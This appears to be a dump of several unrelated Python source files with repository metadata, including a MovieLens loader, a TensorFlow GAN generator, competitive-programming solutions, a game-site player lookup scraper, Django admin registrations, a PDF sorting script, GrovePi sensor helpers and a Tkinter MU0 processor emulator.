4b06e0adfd48db937907c6d960efd3abf315c9be | 6f04bcfede57cdeaf42212dfbc3a0e391437e609 | /tfcf/datasets/ml1m.py | e75bf05699761c5f0779b50c4ae06f0f6f2ac336 | [
"MIT"
] | permissive | sabyasm/tf-recsys | 383bc5aff517ec4a88bd9a66f8b0ba8a0b388760 | 8f84f2cfb21e94c0874195f16acd63e6f5bbac9b | refs/heads/master | 2022-11-13T11:00:14.079129 | 2020-07-12T04:33:57 | 2020-07-12T04:33:57 | 278,991,049 | 0 | 0 | MIT | 2020-07-12T04:30:05 | 2020-07-12T04:30:04 | null | UTF-8 | Python | false | false | 446 | py | import pandas as pd
from ..utils.data_utils import get_zip_file
def load_data():
"""Loads MovieLens 1M dataset.
Returns:
Tuple of numpy array (x, y)
"""
URL = 'http://files.grouplens.org/datasets/movielens/ml-1m.zip'
FILE_PATH = 'ml-1m/ratings.dat'
file = get_zip_file(URL, FILE_PATH)
df = pd.read_csv(file, sep='::', header=None, engine='python')
return df.iloc[:, :2].values, df.iloc[:, 2].values
| [
"[email protected]"
] | |
1e2a9fe872feebb02328a1c9e2f6e212f8e8e0d1 | 50d3a401861317d419fb159530945d1e7e9a5abf | /generator.py | 82dee231fa7cc10fce21f9b07d340d51d24d33ab | [] | no_license | kkothari93/swg | 7bd275c70c66deb0f3786822ab3976fa2e19e5ff | d2d3dae311b64526b2b61003f015e9f478fec081 | refs/heads/master | 2021-09-10T21:43:21.772025 | 2018-04-02T19:46:19 | 2018-04-02T19:46:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,915 | py | import tensorflow as tf
import tensorflow.contrib.layers as layers
def generator(z, reuse=False):
"""
generator
Network to produce samples.
params:
z: Input noise [batch size, latent dimension]
returns:
x_hat: Artificial image [batch size, 64, 64, 3]
"""
batch_norm = layers.batch_norm
outputs = []
h = z
with tf.variable_scope("generator", reuse=reuse) as scope:
h = layers.fully_connected(
inputs=h,
num_outputs=4 * 4 * 1024,
activation_fn=tf.nn.relu,
normalizer_fn=batch_norm)
h = tf.reshape(h, [-1, 4, 4, 1024])
# [4,4,1024]
h = layers.conv2d_transpose(
inputs=h,
num_outputs=512,
kernel_size=4,
stride=2,
activation_fn=tf.nn.relu,
normalizer_fn=batch_norm)
# [8,8,512]
h = layers.conv2d_transpose(
inputs=h,
num_outputs=256,
kernel_size=4,
stride=2,
activation_fn=tf.nn.relu,
normalizer_fn=batch_norm)
# [16,16,256]
h = layers.conv2d_transpose(
inputs=h,
num_outputs=128,
kernel_size=4,
stride=2,
activation_fn=tf.nn.relu,
normalizer_fn=batch_norm)
# This is an extra conv layer like the WGAN folks.
h = layers.conv2d(
inputs=h,
num_outputs=128,
kernel_size=4,
stride=1,
activation_fn=tf.nn.relu,
normalizer_fn=batch_norm)
# [32,32,128]
x_hat = layers.conv2d_transpose(
inputs=h,
num_outputs=3,
kernel_size=4,
stride=2,
activation_fn=tf.nn.sigmoid,
biases_initializer=None)
# [64,64,3]
return x_hat
| [
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] | |
f0ab7849d90fcd33aba1c1db2f8977a45292cf11 | 307ccdde9c423f1587b34d05385b90fad7b9eb90 | /codechef/Oct13/HELPLIRA/helplira.py | 0b94bbad32245dfb2d5f9984692a63c18171dbb7 | [] | no_license | ravi-ojha/competitive-sport | 98513e28624f6ff279bf378ba13bb4bed7497704 | 617847cbc880a9b79173d35c243b4c6f73c3f7a8 | refs/heads/master | 2021-06-08T14:02:36.233718 | 2017-08-22T21:47:22 | 2017-08-22T21:47:22 | 56,091,058 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 590 | py | def helplira():
n = input()
a = []
minIndex = 0
minValue = 1000000000
maxIndex = 0
maxValue = -1
for i in xrange(n):
x = map(int,raw_input().split())
t = x[0]*(x[3] - x[5]) + x[2]*(x[5] - x[1]) + x[4]*(x[1] - x[3])
if t < 0:
t = -t
t = t/2.0
a.append(t)
for i in xrange(n):
if a[i] <= minValue:
minValue = a[i]
minIndex = i
for i in xrange(n):
if a[i] >= maxValue:
maxValue = a[i]
maxIndex = i
print minIndex+1, maxIndex+1
helplira()
| [
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] | |
4d026d825ac957c110e5f8d8b8fec9a65d1abd4b | a03776024ed044e70ec10bd89b95e83055c886b5 | /l2onparser.py | 32f71e5dca69b2431913c89144718d1daf6bbd08 | [] | no_license | jehudielful/glavpetuh | 78434eec2620eaa1ec0d31e0c5b468fab09149a9 | 3db058c1122c2a3ef823428885eedc4ed8878a6a | refs/heads/master | 2021-01-18T17:26:15.271744 | 2017-03-31T07:21:10 | 2017-03-31T07:21:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,833 | py | import re
import string
import urllib.request
import urllib.parse
import requests
from urllib.parse import quote_from_bytes as qfb
from pprint import pprint
from bs4 import BeautifulSoup
url = 'http://l2on.net'
output = """\
{name} {title}
{prof} - {lvl}
Max.HP: {maxhp}
Max.MP: {maxmp}
Клан: {clan}
Замечен: {first_spotted}
Обновлен: {last_spotted}
Аммуниция:\n
"""
def is_valid(nickname):
for char in nickname:
if char in string.punctuation + string.whitespace:
return 0
pattern = re.compile('[а-яА-ЯёЁ]')
match = re.search(pattern, nickname)
if match:
return 1
def parse(nickname):
valid = is_valid(nickname)
if valid == 0:
return 'Невалидное имя'
elif valid == 1:
name = nickname.encode('windows-1251')
else:
name = nickname
values = {'setworld': 1092,
'c': 'userdata',
'a': 'search',
'type': 'char',
'name': name}
req = requests.get(url, params=values) # ConnectionError
soup = BeautifulSoup(req.text, 'html.parser')
table = soup.find_all('a', 'black', href=re.compile('id'))
players = table[::2]
player_url = None
for i in players:
if i.text.lower() == nickname.lower():
m = re.search('id=[0-9]+', str(i))
start = m.span()[0]
end = m.span()[1]
player_id = str(i)[start:end]
player_url = 'http://l2on.net/?c=userdata&a=char&' + player_id
break
if not player_url:
return 'Ничего не найдено'
else:
return player_url
# req = requests.get(player_url)
# soup = BeautifulSoup(req, 'html.parser')
# parse('стригущийлишай') | [
"[email protected]"
] | |
3a052d7c967b33f1bf2baef22daf9476ec5dc9e3 | d4df7688c3279274483a45fbda1634c3128dfe26 | /10-one hot encoding.py | b9fe8f5e20a2e62674594a22bfb4c7aa5161b820 | [] | no_license | mostafagafer/Machine-learning-with-python- | d203bf5ce1aae288bef39ff2a2b231bbee5660f5 | 144fa9896346b11b8230e5fa08ea9ac282016000 | refs/heads/master | 2020-03-28T21:43:06.650180 | 2018-09-17T19:23:13 | 2018-09-17T19:23:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,250 | py | import pandas as pd
from IPython.display import display
data = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.data', header=None, index_col=False, names=['age', 'workclass', 'fnlwgt', 'education',
'education-num', 'marital-status', 'occupation',
'relationship', 'race', 'gender', 'capital-gain',
'capital-loss', 'hours-per-week', 'native-country',
'income'])
data.head()
data = data[['age', 'workclass','education','gender','hours-per-week','occupation','income']]
display(data)
data.columns
data_dummies=pd.get_dummies(data)
data_dummies.columns
features=data_dummies.loc[:,'age':'occupation_ Transport-moving']
X=features.values
y= data_dummies['income_ >50K']
from sklearn.linear_model import LogisticRegression
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)
logreg=LogisticRegression()
logreg.fit(X_train,y_train)
logreg.score(X_test,y_test)
| [
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] | |
c84ec0a30e1421f5b5588467887d582f31a21af1 | e86f75b5bbb3ed0a0ccf73f3ee1e3bc70f666ab4 | /apps/course/admin.py | 6a5a982061075d498917cf7001a35b840e1aecca | [] | no_license | gh555luguo555/tanzhou | c11ae74d424e0d35e81feb4eff6503d7b75d7a1f | 10cb3fe3190b4cb617e8e4bcda913765941c841a | refs/heads/master | 2020-03-18T21:53:51.985246 | 2018-04-20T17:35:26 | 2018-04-20T17:35:26 | 135,311,373 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,454 | py | from django.contrib import admin
from course.models import Course, CourseClass, CourseSort, Lesson, Teacher,Buy
# Register your models here.
class SortInline(admin.StackedInline): # 第二分类
model = CourseSort
extra = 2
'''
class TeacherInline(admin.StackedInline): # 在课程下面显示章节的
model = Teacher
extra = 1
'''
class TeacherInline(admin.TabularInline): # 在课程下面显示章节的
model = Teacher
extra = 1
class CourseClassAdmin(admin.ModelAdmin):
list_display = ["name"]
list_filter = ["name"]
search_fields = ["name"]
inlines = [SortInline]
class CourseSortAdmin(admin.ModelAdmin):
list_display = ["name"]
list_filter = ["name"]
search_fields = ["name"]
class LessonInline(admin.TabularInline): # 在课程下面显示章节的
model = Lesson
extra = 0
class CourseAdmin(admin.ModelAdmin):
list_display = ["name", "price", "learn_time", "nums", ]
list_filter = ["name", "price", "learn_time", "nums"]
search_fields = ["name", "price", "learn_time", "nums"]
inlines = [LessonInline, TeacherInline]
class LessonAdmin(admin.ModelAdmin):
list_display = ["name", "lesson_course"]
list_filter = ["name", "lesson_course"]
search_fields = ["name", "lesson_course"]
class TeacherAdmin(admin.ModelAdmin):
list_display = ["teacher_name", "teacher_des", "teacher_course"]
list_filter = ["teacher_name", "teacher_des", "teacher_course"]
search_fields = ["teacher_name", "teacher_des", "teacher_course"]
class BuyAdmin(admin.ModelAdmin):
list_display = ["user", "course", "add_time"]
list_filter = ["user", "course", "add_time"]
search_fields = ["user", "course", "add_time"]
admin.site.register(CourseClass, CourseClassAdmin)
admin.site.register(CourseSort, CourseSortAdmin)
admin.site.register(Course, CourseAdmin)
admin.site.register(Lesson, LessonAdmin)
admin.site.register(Teacher, TeacherAdmin)
admin.site.register(Buy, BuyAdmin)
# 第二种方法 装饰器的用法
# @admin.register(Course)
# class CourseAdmin(admin.ModelAdmin):
# list_display = ["name", "price", "learn_time", "nums", "image", "describe"]
# list_filter = ["name", "price", "learn_time", "nums"]
# search_fields = ["name", "price", "learn_time", "nums"]
#
# class Meta():
# verbose_name = u"课程"
# verbose_name_plural = verbose_name
#
# def __str__(self):
# return self.name
| [
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] | |
d0b0fcef208c87d1bfff40d9b26c49facc744bd3 | f67d98203a54ead9268faf338faf74e558456559 | /Biweekly_Contest_45/_Problem_1748_Sum_of_Unique_Elements.py | d659f2d7e4effb071ac120b4f044454cc3adc8fb | [] | no_license | deafTim/LeetCode | 65662de4e8790caaa53b9b6aed88e6888660f114 | f295d1688266ef000c672242a9ef58ac8dea55fd | refs/heads/main | 2023-06-15T22:57:53.435883 | 2021-07-12T16:35:37 | 2021-07-12T16:35:37 | 383,565,907 | 0 | 0 | null | 2021-07-06T19:31:20 | 2021-07-06T18:35:13 | null | UTF-8 | Python | false | false | 303 | py | class Solution:
def sumOfUnique(self, nums: List[int]) -> int:
for i in range(10):
print(10)
d = {}
for num in nums:
if num not in d:
d[num] = num
else:
d[num] = 0
return sum(d[i] for i in d.keys())
| [
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] | |
af964161c25361db90345f93bfd184214282aa8d | 22ea136271e43ec0404c37af9353a4fcc038717c | /Industry classification.py | 157f7bfbfb8dac68c2fb6533f7ea4f5903d8369c | [] | no_license | ZIXUANLUO/PDF-classification | 15ec556c657b57766a386342a40420e587899861 | 8580eb184dab58a6ee8fcacd1c754c9c185b16e0 | refs/heads/master | 2023-01-06T11:38:03.592152 | 2020-11-06T14:20:07 | 2020-11-06T14:20:07 | 291,350,524 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,940 | py |
import os
import shutil
# Code description:
# Sort the files in the specified folder: move the files containing the keyword "futures" to the futures folder,
# and move the files containing the keywords "sugar and soybean meal" to the agricultural product folder
classify_lists = {
'futures': ['agricultural product']
}
classify_lists2 = {
'agricultural product': ['sugar','soybean meal']
}
def classify_files(path):
'''
# input : the path of pending folder
'''
if not os.path.isdir(path):
return
# list all PDFs
pdf_files = [name for name in os.listdir(path) if name.endswith(".pdf")]
for pdf_name in pdf_files:
#Processing header time and broker name
#pdf_names = pdf_name.split('-')
#name = pdf_names[len(pdf_names) - 1]
name = pdf_name
for classify1 in classify_lists:
# Create folders by level-1
classify1_path = os.path.join(path,classify1)
old_pdf_path = os.path.join(path,pdf_name)
if not os.path.exists(classify1_path):
os.makedirs(classify1_path)
for classify2 in classify_lists[classify1]:
if classify2 in name:
# Create folders by level-2
classify2_file = os.path.join(classify1_path,classify2)
if not os.path.exists(classify2_file):
os.makedirs(classify2_file)
# processing PDF name
pdf_names = pdf_name.split('.')
#new_name = pdf_names[0] + "_" + classify1 + '_' + classify2 + '.pdf'
new_name = pdf_names[0] + '.pdf'
new_pdf_path = os.path.join(classify2_file,new_name)
if not os.path.exists(new_pdf_path) and os.path.exists(old_pdf_path):
shutil.move(old_pdf_path,new_pdf_path)
print(pdf_name + ' Cut to[' + classify1 + '-' + classify2 + ']')
break
if classify2 in classify_lists2.keys():
for classify3 in classify_lists2[classify2]:
if classify3 in name:
# Create folders by secondary classification
classify2_file = os.path.join(classify1_path,classify2)
if not os.path.exists(classify2_file):
os.makedirs(classify2_file)
# processing PDF name
pdf_names = pdf_name.split('.')
#new_name = pdf_names[0] + "_" + classify1 + '_' + classify2 + '.pdf'
new_name = pdf_names[0] + '.pdf'
new_pdf_path = os.path.join(classify2_file,new_name)
if not os.path.exists(new_pdf_path) and os.path.exists(old_pdf_path):
shutil.move(old_pdf_path,new_pdf_path)
print(pdf_name + ' cut to [' + classify1 + '-' + classify2 + ']')
break
if classify1 in name:
pdf_names = pdf_name.split('.')
new_name = pdf_names[0] + "_" + classify1 + '.pdf'
new_pdf_path = os.path.join(classify1_path,new_name)
if not os.path.exists(new_pdf_path) and os.path.exists(old_pdf_path):
shutil.move(old_pdf_path,new_pdf_path)
print(pdf_name + ' cut to [' + classify1 + '-' + classify2 + ']')
break
if __name__=='__main__':
classify_files(r'C:\Users\Administrator.SKY-20170217SWK\Desktop\test')
| [
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] | |
6b906cc04a18d0fd83cc3ab93fd703a5af5d9d6f | 8ad90ab5622354e84ddbd59718526f9168af9098 | /IR_Functions.py | 256baa7dd60b835fa0daad1eef3fa042cc4e0adb | [] | no_license | hall593/sem2Robot | a3e549229b88b5dede41ff33622b6ef780985781 | 6878aed5218f4de18267ef4dc1f5336005964e21 | refs/heads/main | 2023-04-14T17:29:05.034269 | 2021-04-26T00:39:13 | 2021-04-26T00:39:13 | 359,240,874 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,177 | py | # Set up function
def IR_setup(grovepi):
sensor1= 14 # Pin 14 is A0 Port.
sensor2 = 15 # Pin 15 is A0 Port.
grovepi.pinMode(sensor1,"INPUT")
grovepi.pinMode(sensor2,"INPUT")
# Output function
def IR_PrintValues(grovepi):
try:
sensor1= 14 # Pin 14 is A0 Port.
sensor2 = 15 # Pin 15 is A0 Port.
sensor1_value = grovepi.analogRead(sensor1)
sensor2_value = grovepi.analogRead(sensor2)
print ("One = " + str(sensor1_value) + "\tTwo = " + str(sensor2_value))
#time.sleep(.1) # Commenting out for now
except IOError:
print ("Error")
#Read Function
def IR_Read(grovepi):
try:
sensor1= 14 # Pin 14 is A0 Port.
sensor2 = 15 # Pin 15 is A0 Port.
sensor1_value = grovepi.analogRead(sensor1)
sensor2_value = grovepi.analogRead(sensor2)
return [sensor1_value, sensor2_value]
except IOError:
print ("Error")
| [
"[email protected]"
] | |
0faddf7c6e093e68a298828f142256aa3e4a37a8 | 6c53cd3d3f5562ec238b2e3f94defb486f9f3aee | /mu0emu.py | 9a197e400cb32e58dd66ec16ee3610a347533a46 | [
"MIT"
] | permissive | patengelbert/SoftwareEngineering1 | 5ea7ce7d28759eedc96be3a8978da372c0300a60 | 962f592de69f7ba3344aa34d6c7eff9c9de2a43e | refs/heads/master | 2021-03-19T19:04:01.946779 | 2017-06-13T10:49:50 | 2017-06-13T10:49:50 | 94,202,453 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,852 | py | # To change this template, choose Tools | Templates
# and open the template in the editor.
from Tkinter import *
import tkFont
from tkFileDialog import *
from tkMessageBox import *
import math
#from tkinter.ttk import *
# To change this template, choose Tools | Templates
# and open the template in the editor.
from collections import defaultdict
class Emulate:
mem = defaultdict(int)
acc = 0
pc = 0
mar = 0
mdr = 0
ir = 0
isfetch = 1
status = 0
run_status = 0
allradix = 10
membutton=0
codes = {0:'LDA',1:'STA',2:'ADD',3:'SUB',4:'JMP',5:'JGE',6: 'JNE',7:'STP',
8:'XXX',9:'XXX',10:'XXX',11:'XXX',12:'XXX',13:'XXX',14:'XXX',15:'STP'}
funcs = {0: (lambda x:x.ldax), 1:(lambda x:x.stax), 2:lambda x:x.addx,
3:lambda x:x.subx, 15:lambda x:x.nop, 7:lambda x:x.nop}
jump_list = {'JMP': (lambda a: 1),'JNE':(lambda a: a!=0),'JEQ':(lambda a: a==0),
'JGE':(lambda a: a >= 0)}
def changeallradix(self):
self.allradix = self.mem[0].Radixes[self.allradix]
self.membutton['text']= self.mem[0].Rdisp[(self.allradix)]
for i in self.mem:
self.mem[i].radix = self.allradix
self.mem[i].update()
def nop(self,operand):
pass
def ldax(self,operand):
self.check_operand(operand)
self.set_mar(operand)
self.acc.change(self.mem[operand].value)
def stax(self,operand):
self.check_operand(operand)
self.set_mar(operand)
self.mem[operand].change(self.acc.value)
def addx(self,operand):
self.check_operand(operand)
self.set_mar(operand)
self.acc.change(self.acc.value+self.mem[operand].value)
def subx(self,operand):
self.check_operand(operand)
self.set_mar(operand)
self.acc.change(self.acc.value-self.mem[operand].value)
def check_operand(self,operand):
if operand not in self.mem:
print "Error: "+str(operand)+" is not a valid memory address."
exit()
def operand(self):
return self.ir.value & 0xfff
def opcode(self):
return self.ir.value // 2**12
def mnemonic(self):
return self.codes[self.ir.value // 2**12]
def fetch(self):
self.set_mar(self.pc.value)
self.update_status();
self.ir.change(self.mem[self.mar].value)
if self.mnemonic()=="STP":
self.run_status = 0 # STP instruction
self.isfetch = 1
return
if self.mnemonic() in self.jump_list: # jump instr
if self.jump_list[self.mnemonic()](self.acc.value):
self.pc.change(self.operand()) # if condition is TRUE
self.isfetch = 1
else:
self.pc.change((self.pc.value+1) % (2**16))
self.isfetch = 1
else:
self.pc.change((self.pc.value+1) % (2**16))
self.isfetch = 0
def update_status(self):
if self.isfetch:
self.status["text"]="FETCH Completed"
else:
self.status["text"]="EXECUTE Completed"
def execute(self):
self.update_status()
self.funcs[self.opcode()](self)(self.operand())
self.isfetch = 1
def cycle(self):
if self.isfetch:
self.fetch()
else:
self.execute()
def instr(self):
self.cycle()
if not self.isfetch:
self.cycle()
def auto_start(self):
self.run_status=1
self.auto()
def auto(self):
self.cycle()
if self.run_status:
autobutton.after(500,self.auto)
def stop(self):
self.run_status = 0
def set_mar(self, addr):
self.mem[self.mar].frame['background']='white'
self.mar = addr
self.mem[self.mar].frame['background'] = 'yellow'
emu = Emulate()
nnn=0
class regbox:
Radixes = {10:16,16:8,8:2,2:0,0:10}
Rtype = {10:'d',16:'X',8:'o',2:'b'}
Rlength = {10:'5',16:'04',8:'06',2:'016'}
Rdisp = {10:'dec',16:'hex',8:'oct',2:'bin',0:'asm'}
Codes_inv = {}
for (a,h) in Emulate.codes.items():
Codes_inv[h] = a
def lookup(self,op,operand):
x = operand.strip('&')
if op not in self.Codes_inv:
return (0,1)
return (self.Codes_inv[op]*2**12+(int(x,16) % 2**12)),0
def parse(self,str,radix):
w = str.split()
if len(w) == 2 and self.radix == 0:
return self.lookup(w[0],w[1])
elif radix == 0:
return (0,1)
elif len(w) != 1:
return (0,1)
else:
return int(w[0],self.radix) % 2**16,0
def changeradix(self):
self.radix = self.Radixes[self.radix]
self.update()
def update(self):
if self.radix == 0:
s = Emulate.codes[self.value // 2**12]+ " &" + '{0:03X}'.format(
self.value & 0xfff)
else:
wspec = self.Rlength[self.radix]
s = ('{0:'+wspec+self.Rtype[self.radix]+'}').format(self.value)
self.textvalue.set(s)
self.button['text']= self.Rdisp[(self.radix)]
def change(self,value):
self.value=value
self.update()
def change_value(self, *dummy):
s = self.textvalue.get()
(v,err) = self.parse(s,self.radix)
if err:
pass
else:
self.value = v
self.update()
def __init__(self,parent,name,radix):
self.textvalue = ''
self.frame = LabelFrame(parent,borderwidth=4, text=name, relief='solid')
self.button=Button( self.frame,text=self.Rdisp[radix],
command=self.changeradix,width=0)
self.textvalue = StringVar()
self.box = Entry(self.frame,width=16,foreground='blue',textvariable=self.textvalue)
self.box['font']='-size 8'
self.radix = radix
global nnn
self.value=0
self.name=name
self.textvalue.trace('w',self.change_value)
self.update()
self.box.grid(column=1,row=0)
self.button.grid(column=0,row=0)
def arithhelp():
top = Toplevel()
top.title("About this application...")
txt = Text(top, wrap='word')
txt.insert('1.0',"""
This application illustrates addition in binary (bin), \
hexadecimal (hex), and decimal (dec).
Each number is displayed simultaneously in all three representations.
Each hexadecimal digit is displayed above the \
4 binary digits which correspond.
Note that leading zeros do not alter the value of a number and are optional.
Click on any digit to change its value - this will change all three \
representations of the number and also the result.
The signed/unsigned button determines whether the bit pattern is \
interpreted as an unsigned or 2's complement signed number. This changes \
the decimal display but not the binary or hex. Signed and unsigned are two \
different interpretations of the same machine number. Click on the sign \
or space one position to the left of the decimal number to negate the number \
in signed mode only.
The 32 bit/16 bit/8 bit button alters the machine size of the number. \
Smaller sizes will sign extend to larger only if in signed mode. The number \
will be truncated (with posible change of sign in signed mode) if moved from \
larger to smaller size.
Note that addition is identical whether the number is interpreted signed or \
unsigned, and results in the correct signed or unsigned answer unless there \
is overflow.
The decimal result will be coloured red on overflow.
""")
txt.pack()
button = Button(top, text="OK", command=top.destroy)
button.pack()
class machine_number:
def __init__(self,fr, num,row,col,sign=0,ro=0, bits=32):
assert num >= 0 and num < 2**32
self.n = num
self.row=row
self.col=col
self.fr=fr
self.ro=ro
self.sign = sign
self.bits=bits
self.disp(1)
def readsigned(self):
if self.sign and self.n >= 2**(self.bits-1):
return self.n - 2**self.bits
else:
return self.n
def setbits(self,bits):
self.n = self.readsigned() & (2**bits-1)
self.bits = bits
self.disp()
def update(self,width,bit, x):
assert bit >= 0 and bit <=self.bits-1 and width>=0 and width+bit<=self.bits
if width:
mask = (2**(width)-1) << bit
self.n = self.n & (mask^(2**self.bits-1))
self.n = self.n | (x << bit)
else: #radix = 10, special case
decade = 10**bit
dig = (self.n // decade)%10
self.n += (x-dig)*decade
def change(self,d,i,radix):
if d == '+' and self.readsigned() < 0:
self.n = 2**self.bits - self.n
if d == '-' and self.readsigned > 0:
self.n = 2**self.bits - self.n
if d in range(16):
invert = 0
if radix == 10 and self.readsigned() < 0:
invert = 1
self.n = 2**self.bits - self.n
wd = {2:1,8:3,16:4,10:0}
self.update(wd[radix],i,d)
if invert:
self.n = 2**self.bits - self.n
self.n = self.n & (2**self.bits-1)
propagate()
self.disp()
def read(self):
return self.n
def disp(self,init=0):
row=self.row
col=self.col
dradix(self.fr,2,row+1,col+32,1,self,init)
if init:
Label(self.fr,text=" ").grid(row=row,column=col+33)
dradix(self.fr,16,row,col+32,4,self,init)
if init:
Label(self.fr,text=" ").grid(row=row,column=col+43)
dradix(self.fr,-10 if self.sign else 10,row,col+55,1,self,init)
def setcolour(self,colour):
for i in range(56-11,56):
tb = list(self.fr.grid_slaves(row=self.row,column=self.col+i))
assert len(tb)==1
tb=tb[0]
tb['foreground']=colour
def setbits(bits):
m1.setbits(bits)
m2.setbits(bits)
m3.setbits(bits)
def memarray(frame,top, bottom, radix):
subf = Frame(frame)
for i in range(top, bottom):
emu.mem[i] = regbox(subf,"MEM["+str(i)+"]",radix)
emu.mem[i].frame.grid(row=i%10,column=1+i//10,padx=2,pady=1)
emu.membutton = Button(subf,text=regbox.Rdisp[radix],
command=emu.changeallradix,width=0)
emu.membutton.grid(row=bottom+1, column=1,columnspan=2)
emu.max_mem = bottom
return subf
def cpu(frame):
cpu = LabelFrame(frame,borderwidth=4, text='CPU',relief='solid', padx=4,pady=10)
emu.acc = regbox(cpu,"ACC",10)
emu.acc.frame.grid(row=2,column=1)
emu.pc = regbox(cpu,"PC",16)
emu.ir = regbox(cpu,"IR",0)
emu.pc.frame.grid(row=1,column=1,pady=20,padx=10)
emu.ir.frame.grid(row=1,column=2,rowspan=3,padx=20)
fill(cpu,10,10).grid(row=3,column=1)
Label(cpu, text='ALU',font='-size 20',relief='solid',borderwidth=4,pady=5).grid(padx=10,row=5,
column=1,columnspan=2,ipadx=10,ipady=10)
return cpu
def fill(frame, x, y):
return Canvas(frame, width=y,height=x)
class ParseError(Exception):
pass
def loadfile():
try:
fn = askopenfilename()
f = open(fn)
mlist = f.readlines()
for m in mlist:
x = m.split()
if len(x) != 2:
print "Error in line:",m
raise ParseError
else:
addr = int(x[0],16)
data = int(x[1],16)
if addr > emu.max_mem:
print "Error: data location ",addr," is larger than max value of ",max_mem
raise Exception
if data >= 2**16:
print "Error: data location ",addr," is larger than &FFFF"
raise Exception
emu.mem[addr].change(data)
emu.pc.change(0)
emu.acc.change(0)
emu.status[text]='Starting...]'
except ParseError:
print "Error in file parsing"
except Exception:
print "Unknown error in file loading"
def set_digit(fr,e,numb,radix,i):
assert i <= 31 and i >= 0
xv = 0
yv = 0
if numb.ro: return
mb = Menubutton(fr)
men = Menu(mb,tearoff=0)
if i == 10 and radix == 10:
men.add_command ( label = '+',
command=lambda:numb.change('+',i,radix) )
if numb.sign:
men.add_command ( label = '-',
command=lambda:numb.change('-',i,radix) )
else:
for d in range(radix):
men.add_command ( label = digtostr(d),
command=lambda d=d:numb.change(d,i,radix) )
men.post(x=e.x_root,y=e.y_root)
def digtostr(dig):
tr = {10:'A',11:'B',12:'C',13:'D',14:'E',15:'F'}
assert dig >= 0 and dig < 16
if dig in tr:
return tr[dig]
else:
return str(dig)
def dradix(fr,radix,row,col,sep,numb,init):
i=0
sign = 0
n = numb.read()
if radix == -10:
radix = 10
if n >= 2**(numb.bits-1):
n = 2**numb.bits - n
sign = 1
while i < 11 or ((radix !=10) and (i < 32)) :
dig = n % radix
n = n // radix
dig = digtostr(dig)
for j in range(sep):
if i+j==10 and radix == 10:
dig = '-' if sign else ' '
if i+j >= numb.bits and radix != 10:
dig = ' '
if init:
w = 3 if ((i+j) % 4) == 3 else 1
w = 1 if radix == 10 else w
tb = Label(fr,text=dig if j==0 or dig==' ' else '-',width=w,anchor='e', font=fr.customFont)
tb.grid(row=row,column=col-i-j,sticky='e')
else:
tb = list(fr.grid_slaves(row=row,column=int(col-i-j)))
assert len(tb)==1
tb=tb[0]
tb['text']= dig if j==0 or dig == ' ' else '-'
if j == 0:
tb.bind("<Button-1>", lambda e,i=i: set_digit(fr,e,numb,radix,i))
i+=sep
if init:
tb = Label(fr,text={2:'(bin)',16:'(hex)',10:'(dec)'}[radix],width=5,anchor='e')
tb.grid(row=row,column=col-11 if radix==10 else col-32,sticky='e')
def gridpad(fr, r, c, width=0,height=0):
Label(fr,text='',width=width,height=height).grid(row=r,column=c)
def propagate():
m3.n = (m1.n+m2.n) % 2**m3.bits
m3.disp()
print m1.n,m2.n,m3.n
print m1.readsigned(), m2.readsigned(),m3.readsigned()
if m3.readsigned() != m1.readsigned()+m2.readsigned(): #overflow
m3.setcolour('red')
else:
m3.setcolour('black')
def swapsign():
x = 1-m3.sign
m3.sign = x
m2.sign = x
m1.sign = x
propagate()
m1.disp()
m2.disp()
swapsign_button['text'] = 'Signed' if x else 'Unsigned'
def swapbits():
sw = {32:16,16:8,8:32}
setbits(sw[m3.bits])
bits_button['text']=str(m1.bits)+ " bit"
def displaysum( sign):
tk=Toplevel()
tk.title("Binary and hexadecimal arithemetic demo for EE2/ISE1")
tk.grid()
DIGITFONT = tkFont.Font(family="Helvetica", size=16)
global m1,m2,m3,swapsign_button,bits_button
fr = Canvas(tk, relief='solid', borderwidth=0)
fr.customFont = DIGITFONT
fr.grid()
m1=machine_number(fr,0x0,row=0,col=2,sign=0)
gridpad(fr,2,0,1,1)
Label(fr,text='+',font=fr.customFont).grid(row=2,column=40)
m2=machine_number(fr,0x0,row=3,col=2,sign=0)
gridpad(fr,5,0,2,2)
Label(fr,text='=',font=fr.customFont).grid(row=5,column=40)
m3=machine_number(fr,0x0,row=6,col=2,ro=1,sign=0)
frb = Frame(fr,borderwidth=0)
frb.grid(row=8,column=46,columnspan=10)
Button(frb,text="Help",command=arithhelp).grid(row=0,column=0,pady=10)
swapsign_button=Button(frb,text="Unsigned",command=swapsign, foreground='blue', width=8)
bits_button=Button(frb,text=str(m1.bits)+" bit",command=swapbits, foreground='blue', width=8)
bits_button.grid(row=0,column=1)
swapsign_button.grid(row=0,column=2)
Button(frb,text="Exit",command=tk.destroy, foreground='red').grid(row=0,column=3)
tk.mainloop()
def im(markup):
words = markup.split('[]')
print words
def emuhelp():
top = Toplevel()
top.title("About this application...")
txt = Text(top, wrap='word')
txt.insert('1.0',"""
This application emulates MU0 execution, displaying memory & register contents.
The button in each register/memory box, and below all memory boxes, switches \
numeric display mode (hex/bin/dec). Display can also be in MU0 assembler (asm).
In each cycle the memory location being read or written is highlighted yellow.
Memory locations or registers can be changed by typing in boxes
Cycle - advance one cycle
Instr - advance one instruction
Auto - animate execution
Stop - stop animation
Load - load memory locations with program from text file and reset PC, ACC to 0
File format: each line contains memory address followed by memory contents. \
All numbers are written in hex, e.g.:
0 1234
1 7000
2 2001
""")
txt.pack()
button = Button(top, text="OK", command=top.destroy)
button.pack()
def emulate(top, bottom):
global autobutton,emu
tk=Toplevel()
tk.title("MU0 demo for EE2/ISE1")
frame = Canvas(tk, relief='solid', borderwidth=0)
frame.grid()
frame.create_rectangle(0,0,450,800)
cpu(frame).grid(column=1, row=1, rowspan=10)
memarray(frame,top,bottom,16).grid(row=1,column=3,padx=20,pady=20)
emu.status = Label(frame, text="Starting...")
emu.status.grid(row=3,column=1)
fill(frame,0,100).grid(column=2, row=1)
